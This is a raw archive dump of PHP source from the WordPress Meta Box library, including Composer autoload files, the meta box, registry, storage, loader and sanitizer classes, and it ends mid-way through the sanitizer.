        @trigger_error('getRawData only returns the first dataset loaded, which may not be what you expect. Use getAllRawData() instead which returns all datasets for all autoloaders present in the process.', E_USER_DEPRECATED);

        if (null === self::$installed) {
            // only require the installed.php file if this file is loaded from its dumped location,
            // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937
            if (substr(__DIR__, -8, 1) !== 'C') {
                self::$installed = include __DIR__ . '/installed.php';
            } else {
                self::$installed = array();
            }
        }

        return self::$installed;
    }

    /**
     * Returns the raw data of all installed.php which are currently loaded for custom implementations
     *
     * @return array[]
     * @psalm-return list<array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
     */
    public static function getAllRawData()
    {
        return self::getInstalled();
    }

    /**
     * Lets you reload the static array from another file
     *
     * This is only useful for complex integrations in which a project needs to use
     * this class but then also needs to execute another project's autoloader in process,
     * and wants to ensure both projects have access to their version of installed.php.
     *
     * A typical case would be PHPUnit, where it would need to make sure it reads all
     * the data it needs from this class, then call reload() with
     * `require $CWD/vendor/composer/installed.php` (or similar) as input to make sure
     * the project in which it runs can then also use this class safely, without
     * interference between PHPUnit's dependencies and the project's dependencies.
     *
     * @param  array[] $data A vendor/composer/installed.php data set
     * @return void
     *
     * @psalm-param array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $data
     */
    public static function reload($data)
    {
        self::$installed = $data;
        self::$installedByVendor = array();
    }

    /**
     * @return array[]
     * @psalm-return list<array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
     */
    private static function getInstalled()
    {
        if (null === self::$canGetVendors) {
            self::$canGetVendors = method_exists('Composer\Autoload\ClassLoader', 'getRegisteredLoaders');
        }

        $installed = array();

        if (self::$canGetVendors) {
            foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {
                if (isset(self::$installedByVendor[$vendorDir])) {
                    $installed[] = self::$installedByVendor[$vendorDir];
                } elseif (is_file($vendorDir.'/composer/installed.php')) {
                    /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
                    $required = require $vendorDir.'/composer/installed.php';
                    $installed[] = self::$installedByVendor[$vendorDir] = $required;
                    if (null === self::$installed && strtr($vendorDir.'/composer', '\\', '/') === strtr(__DIR__, '\\', '/')) {
                        self::$installed = $installed[count($installed) - 1];
                    }
                }
            }
        }

        if (null === self::$installed) {
            // only require the installed.php file if this file is loaded from its dumped location,
            // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937
            if (substr(__DIR__, -8, 1) !== 'C') {
                /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
                $required = require __DIR__ . '/installed.php';
                self::$installed = $required;
            } else {
                self::$installed = array();
            }
        }

        if (self::$installed !== array()) {
            $installed[] = self::$installed;
        }

        return $installed;
    }
}
PK     0w\E   E   5  dashboard/lib/meta-box/vendor/composer/installed.jsonnu [        {
    "packages": [],
    "dev": true,
    "dev-package-names": []
}
PK     0w\!      8  dashboard/lib/meta-box/vendor/composer/autoload_psr4.phpnu [        <?php

// autoload_psr4.php @generated by Composer

$vendorDir = dirname(__DIR__);
$baseDir = dirname($vendorDir);

return array(
    'MetaBox\\' => array($baseDir . '/src'),
);
PK     0w\L      <  dashboard/lib/meta-box/vendor/composer/autoload_classmap.phpnu [        <?php

// autoload_classmap.php @generated by Composer

$vendorDir = dirname(__DIR__);
$baseDir = dirname($vendorDir);

return array(
    'Composer\\InstalledVersions' => $vendorDir . '/composer/InstalledVersions.php',
);
PK     0w\&jh#0  0  '  dashboard/lib/meta-box/inc/meta-box.phpnu [        <?php
use MetaBox\Support\Arr;

/**
 * A class to rapid develop meta boxes for custom & built in content types
 *
 * @property string $id             Meta Box ID.
 * @property string $title          Meta Box title.
 * @property array  $fields         List of fields.
 * @property array  $post_types     List of post types that the meta box is created for.
 * @property string $style          Meta Box style.
 * @property bool   $closed         Whether to collapse the meta box when page loads.
 * @property string $priority       The meta box priority.
 * @property string $context        Where the meta box is displayed.
 * @property bool   $default_hidden Whether the meta box is hidden by default.
 * @property bool   $autosave       Whether the meta box auto saves.
 * @property bool   $media_modal    Add custom fields to media modal when viewing/editing an attachment.
 */
class RW_Meta_Box {
	/**
	 * Meta box parameters.
	 *
	 * @var array
	 */
	public $meta_box;

	/**
	 * Detect whether the meta box is saved at least once.
	 * Used to prevent duplicated calls like revisions, manual hook to wp_insert_post, etc.
	 *
	 * @var bool
	 */
	public $saved = false;

	/**
	 * The object ID.
	 *
	 * @var int
	 */
	public $object_id = null;

	/**
	 * The object type.
	 *
	 * @var string
	 */
	protected $object_type = 'post';

	public function __construct( array $meta_box ) {
		$meta_box       = static::normalize( $meta_box );
		$this->meta_box = $meta_box;

		$this->meta_box['fields'] = static::normalize_fields( $meta_box['fields'], $this->get_storage() );

		$this->meta_box = apply_filters( 'rwmb_meta_box_settings', $this->meta_box );

		if ( $this->is_shown() ) {
			$this->global_hooks();
			$this->object_hooks();
		}
	}

	public function register_fields() {
		$field_registry = rwmb_get_registry( 'field' );

		foreach ( $this->post_types as $post_type ) {
			foreach ( $this->fields as $field ) {
				$field_registry->add( $field, $post_type );
			}
		}
	}

	public function is_shown() : bool {
		$show = apply_filters( 'rwmb_show', true, $this->meta_box );
		return apply_filters( "rwmb_show_{$this->id}", $show, $this->meta_box );
	}

	protected function global_hooks() {
		// Enqueue common styles and scripts.
		add_action( 'admin_enqueue_scripts', [ $this, 'enqueue' ] );

		// Add additional actions for fields.
		foreach ( $this->fields as $field ) {
			RWMB_Field::call( $field, 'add_actions' );
		}
	}

	/**
	 * Specific hooks for meta box object. Default is 'post'.
	 * This should be extended in subclasses to support meta fields for terms, user, settings pages, etc.
	 */
	protected function object_hooks() {
		// Add meta box.
		add_action( 'add_meta_boxes', [ $this, 'add_meta_boxes' ] );

		// Hide meta box if it's set 'default_hidden'.
		add_filter( 'default_hidden_meta_boxes', [ $this, 'hide' ], 10, 2 );

		// Save post meta.
		foreach ( $this->post_types as $post_type ) {
			if ( 'attachment' === $post_type ) {
				// Attachment uses other hooks.
				// @see wp_update_post(), wp_insert_attachment().
				add_action( 'edit_attachment', [ $this, 'save_post' ] );
				add_action( 'add_attachment', [ $this, 'save_post' ] );
			} else {
				add_action( "save_post_{$post_type}", [ $this, 'save_post' ] );
			}
		}
	}

	public function enqueue() {
		if ( is_admin() && ! $this->is_edit_screen() && ! $this->is_gutenberg_screen() ) {
			return;
		}

		wp_enqueue_style( 'rwmb', RWMB_CSS_URL . 'style.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb', 'path', RWMB_CSS_DIR . 'style.css' );
		if ( is_rtl() ) {
			wp_enqueue_style( 'rwmb-rtl', RWMB_CSS_URL . 'style-rtl.css', [], RWMB_VER );
			wp_style_add_data( 'rwmb-rtl', 'path', RWMB_CSS_DIR . 'style-rtl.css' );
		}

		wp_enqueue_script( 'rwmb', RWMB_JS_URL . 'script.js', [ 'jquery' ], RWMB_VER, true );

		// Load clone script conditionally.
		foreach ( $this->fields as $field ) {
			if ( $field['clone'] ) {
				wp_enqueue_script( 'rwmb-clone', RWMB_JS_URL . 'clone.js', [ 'jquery-ui-sortable' ], RWMB_VER, true );
				break;
			}
		}

		// Enqueue scripts and styles for fields.
		foreach ( $this->fields as $field ) {
			RWMB_Field::call( $field, 'admin_enqueue_scripts' );
		}

		// Auto save.
		if ( $this->autosave ) {
			wp_enqueue_script( 'rwmb-autosave', RWMB_JS_URL . 'autosave.js', [ 'jquery' ], RWMB_VER, true );
		}

		/**
		 * Allow developers to enqueue more scripts and styles
		 *
		 * @param RW_Meta_Box $object Meta Box object
		 */
		do_action( 'rwmb_enqueue_scripts', $this );
	}

	private function is_gutenberg_screen() : bool {
		$screen = get_current_screen();

		return in_array( $screen->base, [ 'site-editor', 'widgets' ] );
	}

	/**
	 * Add meta box for multiple post types
	 */
	public function add_meta_boxes() {
		$screen = get_current_screen();
		add_filter( "postbox_classes_{$screen->id}_{$this->id}", [ $this, 'postbox_classes' ] );

		foreach ( $this->post_types as $post_type ) {
			add_meta_box(
				$this->id,
				$this->title,
				[ $this, 'show' ],
				$post_type,
				$this->context,
				$this->priority
			);
		}
	}

	public function postbox_classes( array $classes ) : array {
		if ( $this->closed ) {
			$classes[] = 'closed';
		}
		$classes[] = "rwmb-{$this->style}";

		return $classes;
	}

	public function hide( array $hidden, $screen ) : array {
		if ( $this->is_edit_screen( $screen ) && $this->default_hidden ) {
			$hidden[] = $this->id;
		}

		return $hidden;
	}

	public function show() {
		if ( null === $this->object_id ) {
			$this->object_id = $this->get_current_object_id();
		}
		$saved = $this->is_saved();

		// Container.
		printf(
			'<div class="%s" data-autosave="%s" data-object-type="%s" data-object-id="%s">',
			esc_attr( trim( "rwmb-meta-box {$this->class}" ) ),
			esc_attr( $this->autosave ? 'true' : 'false' ),
			esc_attr( $this->object_type ),
			esc_attr( $this->object_id )
		);

		wp_nonce_field( "rwmb-save-{$this->id}", "nonce_{$this->id}" );

		// Allow users to add custom code before meta box content.
		// 1st action applies to all meta boxes.
		// 2nd action applies to only current meta box.
		do_action( 'rwmb_before', $this );
		do_action( "rwmb_before_{$this->id}", $this );

		foreach ( $this->fields as $field ) {
			RWMB_Field::call( 'show', $field, $saved, $this->object_id );
		}

		// Allow users to add custom code after meta box content.
		// 1st action applies to all meta boxes.
		// 2nd action applies to only current meta box.
		do_action( 'rwmb_after', $this );
		do_action( "rwmb_after_{$this->id}", $this );

		// End container.
		echo '</div>';
	}

	/**
	 * Save data from meta box
	 *
	 * @param int $object_id Object ID.
	 */
	public function save_post( $object_id ) {
		if ( ! $this->validate() ) {
			return;
		}
		$this->saved = true;

		$object_id       = $this->get_real_object_id( $object_id );
		$this->object_id = $object_id;

		// Before save action.
		do_action( 'rwmb_before_save_post', $object_id );
		do_action( "rwmb_{$this->id}_before_save_post", $object_id );

		array_map( [ $this, 'save_field' ], $this->fields );

		// After save action.
		do_action( 'rwmb_after_save_post', $object_id );
		do_action( "rwmb_{$this->id}_after_save_post", $object_id );
	}

	public function save_field( array $field ) {
		$single  = $field['clone'] || ! $field['multiple'];
		$default = $single ? '' : [];
		$old     = RWMB_Field::call( $field, 'raw_meta', $this->object_id );
		$new     = rwmb_request()->post( $field['id'], $default );
		$new     = RWMB_Field::process_value( $new, $this->object_id, $field );

		// Filter to allow the field to be modified.
		$field = RWMB_Field::filter( 'field', $field, $field, $new, $old );

		// Call defined method to save meta value, if there's no methods, call common one.
		RWMB_Field::call( $field, 'save', $new, $old, $this->object_id );

		RWMB_Field::filter( 'after_save_field', null, $field, $new, $old, $this->object_id );

		$mobile_field = isset($field['mobile']) && $field['mobile'] ? $field : '';
		if ( $mobile_field ) {
			$mobile_field['id'] = $field['id'].'_mobile';
			$mobile_field['field_name'] = $field['field_name'].'_mobile';

			$old_m     = RWMB_Field::call( $mobile_field, 'raw_meta', $this->object_id );
			$new_m     = rwmb_request()->post( $mobile_field['id'], $default );
			$new_m     = RWMB_Field::process_value( $new_m, $this->object_id, $mobile_field );

			// Filter to allow the field to be modified.
			$field = RWMB_Field::filter( 'field', $mobile_field, $mobile_field, $new_m, $old_m );

			// Call defined method to save meta value, if there's no methods, call common one.
			RWMB_Field::call( $mobile_field, 'save', $new_m, $old_m, $this->object_id );

			RWMB_Field::filter( 'after_save_field', null, $mobile_field, $new_m, $old_m, $this->object_id );

		}
	}

	public function validate() : bool {
		$nonce = rwmb_request()->filter_post( "nonce_{$this->id}" );

		return ! $this->saved
			&& ( ! defined( 'DOING_AUTOSAVE' ) || $this->autosave )
			&& wp_verify_nonce( $nonce, "rwmb-save-{$this->id}" );
	}

	public static function normalize( $meta_box ) {
		$default_title = __( 'Meta Box Title', 'meta-box' );
		$meta_box      = wp_parse_args( $meta_box, [
			'title'          => $default_title,
			'id'             => ! empty( $meta_box['title'] ) ? sanitize_title( $meta_box['title'] ) : sanitize_title( $default_title ),
			'context'        => 'normal',
			'priority'       => 'high',
			'post_types'     => 'post',
			'autosave'       => false,
			'default_hidden' => false,
			'style'          => 'default',
			'class'          => '',
			'fields'         => [],
		] );

		/**
		 * Use 'post_types' for better understanding and fallback to 'pages' for previous versions.
		 * @since 4.4.1
		 */
		Arr::change_key( $meta_box, 'pages', 'post_types' );

		// Make sure the post type is an array and is sanitized.
		$meta_box['post_types'] = array_filter( array_map( 'sanitize_key', Arr::from_csv( $meta_box['post_types'] ) ) );

		return $meta_box;
	}

	public static function normalize_fields( array $fields, $storage = null ) : array {
		foreach ( $fields as $k => $field ) {
			$field = RWMB_Field::call( 'normalize', $field );

			// Allow to add default values for fields.
			$field = apply_filters( 'rwmb_normalize_field', $field );
			$field = apply_filters( "rwmb_normalize_{$field['type']}_field", $field );
			$field = apply_filters( "rwmb_normalize_{$field['id']}_field", $field );

			$field['storage'] = $storage;

			$fields[ $k ] = $field;
		}

		return $fields;
	}

	/**
	 * Check if meta box is saved before.
	 * This helps to save empty value in meta fields (text, check box, etc.) and set the correct default values.
	 */
	public function is_saved() {
		foreach ( $this->fields as $field ) {
			if ( empty( $field['id'] ) ) {
				continue;
			}

			$value = RWMB_Field::call( $field, 'raw_meta', $this->object_id );
			if ( false === $value ) {
				continue;
			}

			$single = ! $field['multiple'];
			if ( $field['clone'] ) {
				$single = ! $field['clone_as_multiple'];
			}

			if (
				( $single && '' !== $value )
				|| ( ! $single && is_array( $value ) && [] !== $value )
			) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Check if we're on the right edit screen.
	 *
	 * @param ?WP_Screen $screen Screen object.
	 */
	public function is_edit_screen( $screen = null ) {
		if ( ! ( $screen instanceof WP_Screen ) ) {
			$screen = get_current_screen();
		}

		return in_array( $screen->base, [ 'post', 'upload' ], true ) && in_array( $screen->post_type, $this->post_types, true );
	}

	public function __get( string $key ) {
		return $this->meta_box[ $key ] ?? false;
	}

	/**
	 * Set the object ID.
	 *
	 * @param mixed $id Object ID.
	 */
	public function set_object_id( $id = null ) {
		$this->object_id = $id;
	}

	public function get_object_type() : string {
		return $this->object_type;
	}

	/**
	 * Get storage object.
	 *
	 * @return RWMB_Storage_Interface
	 */
	public function get_storage() {
		return rwmb_get_storage( $this->object_type, $this );
	}

	/**
	 * Get current object id.
	 *
	 * @return int
	 */
	protected function get_current_object_id() {
		return get_the_ID();
	}

	/**
	 * Get real object ID when submitting.
	 *
	 * @param int $object_id Object ID.
	 * @return int
	 */
	protected function get_real_object_id( $object_id ) {
		// Make sure meta is added to the post, not a revision.
		if ( 'post' !== $this->object_type ) {
			return $object_id;
		}
		$parent = wp_is_post_revision( $object_id );

		return $parent ?: $object_id;
	}
}
PK     0w\l㮇    -  dashboard/lib/meta-box/inc/field-registry.phpnu [        <?php
/**
 * A registry for storing all fields.
 *
 * @link https://designpatternsphp.readthedocs.io/en/latest/Structural/Registry/README.html
 */
class RWMB_Field_Registry {
	private $data = [];

	/**
	 * Add a single field to the registry.
	 *
	 * @param array  $field       Field configuration.
	 * @param string $type        Post type|Taxonomy|'user'|Setting page which the field belongs to.
	 * @param string $object_type Object type which the field belongs to.
	 */
	public function add( array $field, string $type, string $object_type = 'post' ) {
		if ( ! isset( $field['id'] ) ) {
			return;
		}

		if ( empty( $this->data[ $object_type ] ) ) {
			$this->data[ $object_type ] = [];
		}
		if ( empty( $this->data[ $object_type ][ $type ] ) ) {
			$this->data[ $object_type ][ $type ] = [];
		}
		$this->data[ $object_type ][ $type ][ $field['id'] ] = $field;

		do_action( 'rwmb_field_registered', $field, $type, $object_type );
	}

	/**
	 * Retrieve a field.
	 *
	 * @param string $id          A meta box instance id.
	 * @param string $type        Post type|Taxonomy|'user'|Setting page which the field belongs to.
	 * @param string $object_type Object type which the field belongs to.
	 *
	 * @return bool|array False or field configuration.
	 */
	public function get( $id, $type, $object_type = 'post' ) {
		return $this->data[ $object_type ][ $type ][ $id ] ?? false;
	}

	/**
	 * Retrieve fields by object type.
	 *
	 * @param string $object_type Object type which the field belongs to.
	 *
	 * @return array List of fields.
	 */
	public function get_by_object_type( string $object_type = 'post' ) : array {
		return $this->data[ $object_type ] ?? [];
	}
}
PK     0w\Eĸ      ,  dashboard/lib/meta-box/inc/storages/post.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * Post storage
 *
 * @package Meta Box
 */

/**
 * Class RWMB_Post_Storage
 */
class RWMB_Post_Storage extends RWMB_Base_Storage {

	/**
	 * Object type.
	 *
	 * @var string
	 */
	protected $object_type = 'post';
}
PK     0w\N@  @  ,  dashboard/lib/meta-box/inc/storages/base.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * Base storage.
 */
class RWMB_Base_Storage implements RWMB_Storage_Interface {
	/**
	 * Object type.
	 *
	 * @var string
	 */
	protected $object_type;

	/**
	 * Retrieve metadata for the specified object.
	 *
	 * @param int        $object_id ID of the object metadata is for.
	 * @param string     $meta_key  Optional. Metadata key. If not specified, retrieve all metadata for
	 *                              the specified object.
	 * @param bool|array $args      Optional, default is false.
	 *                              If true, return only the first value of the specified meta_key.
	 *                              If is array, use the `single` element.
	 *                              This parameter has no effect if meta_key is not specified.
	 * @return mixed Single metadata value, or array of values.
	 *
	 * @see get_metadata()
	 */
	public function get( $object_id, $meta_key, $args = false ) {
		if ( is_array( $args ) ) {
			$single = ! empty( $args['single'] );
		} else {
			$single = (bool) $args;
		}

		return get_metadata( $this->object_type, $object_id, $meta_key, $single );
	}

	/**
	 * Add metadata
	 *
	 * @param int    $object_id  ID of the object metadata is for.
	 * @param string $meta_key   Metadata key.
	 * @param mixed  $meta_value Metadata value. Must be serializable if non-scalar.
	 * @param bool   $unique     Optional, default is false.
	 *                           Whether the specified metadata key should be unique for the object.
	 *                           If true, and the object already has a value for the specified metadata key,
	 *                           no change will be made.
	 * @return int|false The meta ID on success, false on failure.
	 *
	 * @see add_metadata()
	 */
	public function add( $object_id, $meta_key, $meta_value, $unique = false ) {
		return add_metadata( $this->object_type, $object_id, $meta_key, $meta_value, $unique );
	}

	/**
	 * Update metadata.
	 *
	 * @param int    $object_id  ID of the object metadata is for.
	 * @param string $meta_key   Metadata key.
	 * @param mixed  $meta_value Metadata value. Must be serializable if non-scalar.
	 * @param mixed  $prev_value Optional. If specified, only update existing metadata entries with
	 *                           the specified value. Otherwise, update all entries.
	 * @return int|bool Meta ID if the key didn't exist, true on successful update, false on failure.
	 *
	 * @see update_metadata()
	 */
	public function update( $object_id, $meta_key, $meta_value, $prev_value = '' ) {
		return update_metadata( $this->object_type, $object_id, $meta_key, $meta_value, $prev_value );
	}

	/**
	 * Delete metadata.
	 *
	 * @param int    $object_id  ID of the object metadata is for.
	 * @param string $meta_key   Metadata key.
	 * @param mixed  $meta_value Optional. Metadata value. Must be serializable if non-scalar. If specified, only delete
	 *                           metadata entries with this value. Otherwise, delete all entries with the specified meta_key.
	 *                           Pass `null, `false`, or an empty string to skip this check. (For backward compatibility,
	 *                           it is not possible to pass an empty string to delete those entries with an empty string
	 *                           for a value).
	 * @param bool   $delete_all Optional, default is false. If true, delete matching metadata entries for all objects,
	 *                           ignoring the specified object_id. Otherwise, only delete matching metadata entries for
	 *                           the specified object_id.
	 * @return bool True on successful delete, false on failure.
	 *
	 * @see delete_metadata()
	 */
	public function delete( $object_id, $meta_key, $meta_value = '', $delete_all = false ) {
		return delete_metadata( $this->object_type, $object_id, $meta_key, $meta_value, $delete_all );
	}
}
PK     0w\    %  dashboard/lib/meta-box/inc/loader.phpnu [        <?php
/**
 * Load plugin's files with check for installing it as a standalone plugin or
 * a module of a theme / plugin. If standalone plugin is already installed, it
 * will take higher priority.
 */
class RWMB_Loader {
	protected function constants() {
		// Script version, used to add version for scripts and styles.
		define( 'RWMB_VER', '5.9.7' );

		list( $path, $url ) = self::get_path( dirname( __DIR__ ) );

		// Plugin URLs, for fast enqueuing scripts and styles.
		define( 'RWMB_URL', $url );
		define( 'RWMB_JS_URL', trailingslashit( RWMB_URL . 'js' ) );
		define( 'RWMB_CSS_URL', trailingslashit( RWMB_URL . 'css' ) );

		// Plugin paths, for including files.
		define( 'RWMB_DIR', $path );
		define( 'RWMB_INC_DIR', trailingslashit( RWMB_DIR . 'inc' ) );
		define( 'RWMB_CSS_DIR', trailingslashit( RWMB_DIR . 'css' ) );
	}

	/**
	 * Get plugin base path and URL.
	 * The method is static and can be used in extensions.
	 *
	 * @link https://deluxeblogtips.com/get-url-of-php-file-in-wordpress/
	 * @param string $path Base folder path.
	 * @return array Path and URL.
	 */
	public static function get_path( string $path = '' ): array {
		// Plugin base path.
		$path       = wp_normalize_path( untrailingslashit( $path ) );
		$themes_dir = wp_normalize_path( untrailingslashit( dirname( get_stylesheet_directory() ) ) );

		// Default URL.
		$url = plugins_url( '', $path . '/' . basename( $path ) . '.php' );

		// Included into themes.
		if (
			! str_starts_with( $path, wp_normalize_path( WP_PLUGIN_DIR ) )
			&& ! str_starts_with( $path, wp_normalize_path( WPMU_PLUGIN_DIR ) )
			&& str_starts_with( $path, $themes_dir )
		) {
			$themes_url = untrailingslashit( dirname( get_stylesheet_directory_uri() ) );
			$url        = str_replace( $themes_dir, $themes_url, $path );
		}

		$path = trailingslashit( $path );
		$url  = trailingslashit( $url );

		return [ $path, $url ];
	}

	/**
	 * Bootstrap the plugin.
	 */
	public function init() {
		$this->constants();

		// PSR-4 autoload.
		$psr4_autoload = dirname( __DIR__ ) . '/vendor/autoload.php';
		if ( file_exists( $psr4_autoload ) ) {
			require $psr4_autoload;
		}

		// Register autoload for classes.
		require_once RWMB_INC_DIR . 'autoloader.php';
		$autoloader = new RWMB_Autoloader();
		$autoloader->add( RWMB_INC_DIR, 'RW_' );
		$autoloader->add( RWMB_INC_DIR, 'RWMB_' );
		$autoloader->add( RWMB_INC_DIR . 'about', 'RWMB_' );
		$autoloader->add( RWMB_INC_DIR . 'fields', 'RWMB_', '_Field' );
		$autoloader->add( RWMB_INC_DIR . 'walkers', 'RWMB_Walker_' );
		$autoloader->add( RWMB_INC_DIR . 'interfaces', 'RWMB_', '_Interface' );
		$autoloader->add( RWMB_INC_DIR . 'storages', 'RWMB_', '_Storage' );
		$autoloader->add( RWMB_INC_DIR . 'helpers', 'RWMB_Helpers_' );
		$autoloader->add( RWMB_INC_DIR . 'update', 'RWMB_Update_' );
		$autoloader->register();

		// Plugin core.
		$core = new RWMB_Core();
		$core->init();

		$shortcode = new RWMB_Shortcode();
		$shortcode->init();

		// Validation module.
		new RWMB_Validation();

		$sanitizer = new RWMB_Sanitizer();
		$sanitizer->init();

		$media_modal = new RWMB_Media_Modal();
		$media_modal->init();

		// WPML Compatibility.
		$wpml = new RWMB_WPML();
		$wpml->init();

		// Update.
		$update_option  = new \MetaBox\Updater\Option();
		$update_checker = new \MetaBox\Updater\Checker( $update_option );
		$update_checker->init();
		$update_settings = new \MetaBox\Updater\Settings( $update_checker, $update_option );
		$update_settings->init();
		$update_notification = new \MetaBox\Updater\Notification( $update_checker, $update_option );
		$update_notification->init();

		// Register categories for page builders.
		new \MetaBox\Integrations\Block();
		new \MetaBox\Integrations\Bricks;
		new \MetaBox\Integrations\Elementor;
		new \MetaBox\Integrations\Oxygen();

		if ( is_admin() ) {
			$about = new RWMB_About( $update_checker );
			$about->init();
		}

		// Public functions.
		require_once RWMB_INC_DIR . 'functions.php';
	}
}
PK     0w\3,      (  dashboard/lib/meta-box/inc/sanitizer.phpnu [        <?php
/**
 * Sanitize field value before saving.
 */
class RWMB_Sanitizer {
	public function init() {
		add_filter( 'rwmb_sanitize', [ $this, 'sanitize' ], 10, 4 );
	}

	/**
	 * Sanitize a field value.
	 *
	 * @param mixed $value     The submitted new value.
	 * @param array $field     The field settings.
	 * @param mixed $old_value The old field value in the database.
	 * @param int   $object_id The object ID.
	 */
	public function sanitize( $value, $field, $old_value = null, $object_id = null ) {
		// Allow developers to bypass the sanitization.
		if ( 'none' === $field['sanitize_callback'] ) {
			return $value;
		}

		$callback = $this->get_callback( $field );

		return is_callable( $callback ) ? call_user_func( $callback, $value, $field, $old_value, $object_id ) : $value;
	}

	/**
	 * Get sanitize callback for a field.
	 *
	 * @param  array $field Field settings.
	 * @return callable
	 */
	private function get_callback( $field ) {
		// User-defined callback.
		if ( is_callable( $field['sanitize_callback'] ) ) {
			return $field['sanitize_callback'];
		}

		$callbacks = [
			'autocomplete'      => [ $this, 'sanitize_choice' ],
			'background'        => [ $this, 'sanitize_background' ],
			'button_group'      => [ $this, 'sanitize_choice' ],
			'checkbox'          => [ $this, 'sanitize_checkbox' ],
			'checkbox_list'     => [ $this, 'sanitize_choice' ],
			'color'             => [ $this, 'sanitize_color' ],
			'date'              => [ $this, 'sanitize_datetime' ],
			'datetime'          => [ $this, 'sanitize_datetime' ],
			'email'             => 'sanitize_email',
			'fieldset_text'     => [ $this, 'sanitize_text' ],
			'file'              => [ $this, 'sanitize_file' ],
			'file_advanced'     => [ $this, 'sanitize_object' ],
			'file_input'        => [ $this, 'sanitize_url' ],
			'file_upload'       => [ $this, 'sanitize_object' ],
			'hidden'            => 'sanitize_text_field',
			'image'             => [ $this, 'sanitize_file' ],
			'image_advanced'    => [ $this, 'sanitize_object' ],
			'image_select'      => [ $this, 'sanitize_choice' ],
			'image_upload'      => [ $this, 'sanitize_object' ],
			'key_value'         => [ $this, 'sanitize_text' ],
			'map'               => [ $this, 'sanitize_map' ],
			'number'            => [ $this, 'sanitize_number' ],
			'oembed'            => [ $this, 'sanitize_url' ],
			'osm'               => [ $this, 'sanitize_map' ],
			'password'          => 'sanitize_text_field',
			'post'              => [ $this, 'sanitize_object' ],
			'radio'             => [ $this, 'sanitize_choice' ],
			'range'             => [ $this, 'sanitize_number' ],
			'select'            => [ $this, 'sanitize_choice' ],
			'select_advanced'   => [ $this, 'sanitize_choice' ],
			'sidebar'           => [ $this, 'sanitize_text' ],
			'single_image'      => 'absint',
			'slider'            => [ $this, 'sanitize_slider' ],
			'switch'            => [ $this, 'sanitize_checkbox' ],
			'taxonomy'          => [ $this, 'sanitize_object' ],
			'taxonomy_advanced' => [ $this, 'sanitize_taxonomy_advanced' ],
			'text'              => 'sanitize_text_field',
			'text_list'         => [ $this, 'sanitize_text' ],
			'textarea'          => 'wp_kses_post',
			'time'              => 'sanitize_text_field',
			'url'               => [ $this, 'sanitize_url' ],
			'user'              => [ $this, 'sanitize_object' ],
			'video'             => [ $this, 'sanitize_object' ],
			'wysiwyg'           => 'wp_kses_post',
		];

		$type = $field['type'];

		return $callbacks[ $type ] ?? null;
	}

	/**
	 * Set the value of checkbox to 1 or 0 instead of 'checked' and empty string.
	 * This prevents using default value once the checkbox has been unchecked.
	 *
	 * @link https://github.com/rilwis/meta-box/issues/6
	 * @param string $value Checkbox value.
	 */
	private function sanitize_checkbox( $value ): int {
		return (int) ! empty( $value );
	}

	/**
	 * Sanitize numeric value.
	 *
	 * @param  string $value The number value.
	 * @return string
	 */
	private function sanitize_number( $value ) {
		return is_numeric( $value ) ? $value : '';
	}

	private function sanitize_color( string $value ): string {
		if ( str_contains( $value, 'hsl' ) ) {
			return wp_unslash( $value );
		}

		if ( ! str_contains( $value, 'rgb' ) ) {
			return (string) sanitize_hex_color( $value );
		}

		// rgba value.
		$red   = '';
		$green = '';
		$blue  = '';
		$alpha = 1;

		if ( str_contains( $value, 'rgba' ) ) {
			sscanf( $value, 'rgba(%d,%d,%d,%f)', $red, $green, $blue, $alpha );
		} else {
			sscanf( $value, 'rgb(%d,%d,%d)', $red, $green, $blue );
		}

		return 'rgba(' . $red . ',' . $green . ',' . $blue . ',' . $alpha . ')';
	}

	/**
	 * Sanitize value for a choice field.
	 *
	 * @param  string|array $value The submitted value.
	 * @param  array        $field The field settings.
	 * @return string|array
	 */
	private function sanitize_choice( $value, $field ) {
		$options = RWMB_Choice_Field::transform_options( $field['options'] );
		$options = wp_list_pluck( $options, 'value' );
		$value   = wp_unslash( $value );
		return is_array( $value ) ? array_intersect( $value, $options ) : ( in_array( $value, $options ) ? $value : '' );
	}

	/**
	 * Sanitize object & media field.
	 *
	 * @param  int|array $value The submitted value.
	 * @return int|array
	 */
	private function sanitize_object( $value ) {
		return is_array( $value ) ? array_filter( array_map( 'absint', $value ) ) : ( $value ? absint( $value ) : '' );
	}

	/**
	 * Sanitize background field.
	 *
	 * @param  array $value The submitted value.
	 * @return array
	 */
	private function sanitize_background( $value ) {
		$value          = wp_parse_args( $value, [
			'color'      => '',
			'image'      => '',
			'repeat'     => '',
			'attachment' => '',
			'position'   => '',
			'size'       => '',
		] );
		$value['color'] = $this->sanitize_color( $value['color'] );
		$value['image'] = esc_url_raw( $value['image'] );

		$value['repeat']     = in_array( $value['repeat'], [ 'no-repeat', 'repeat', 'repeat-x', 'repeat-y', 'inherit' ], true ) ? $value['repeat'] : '';
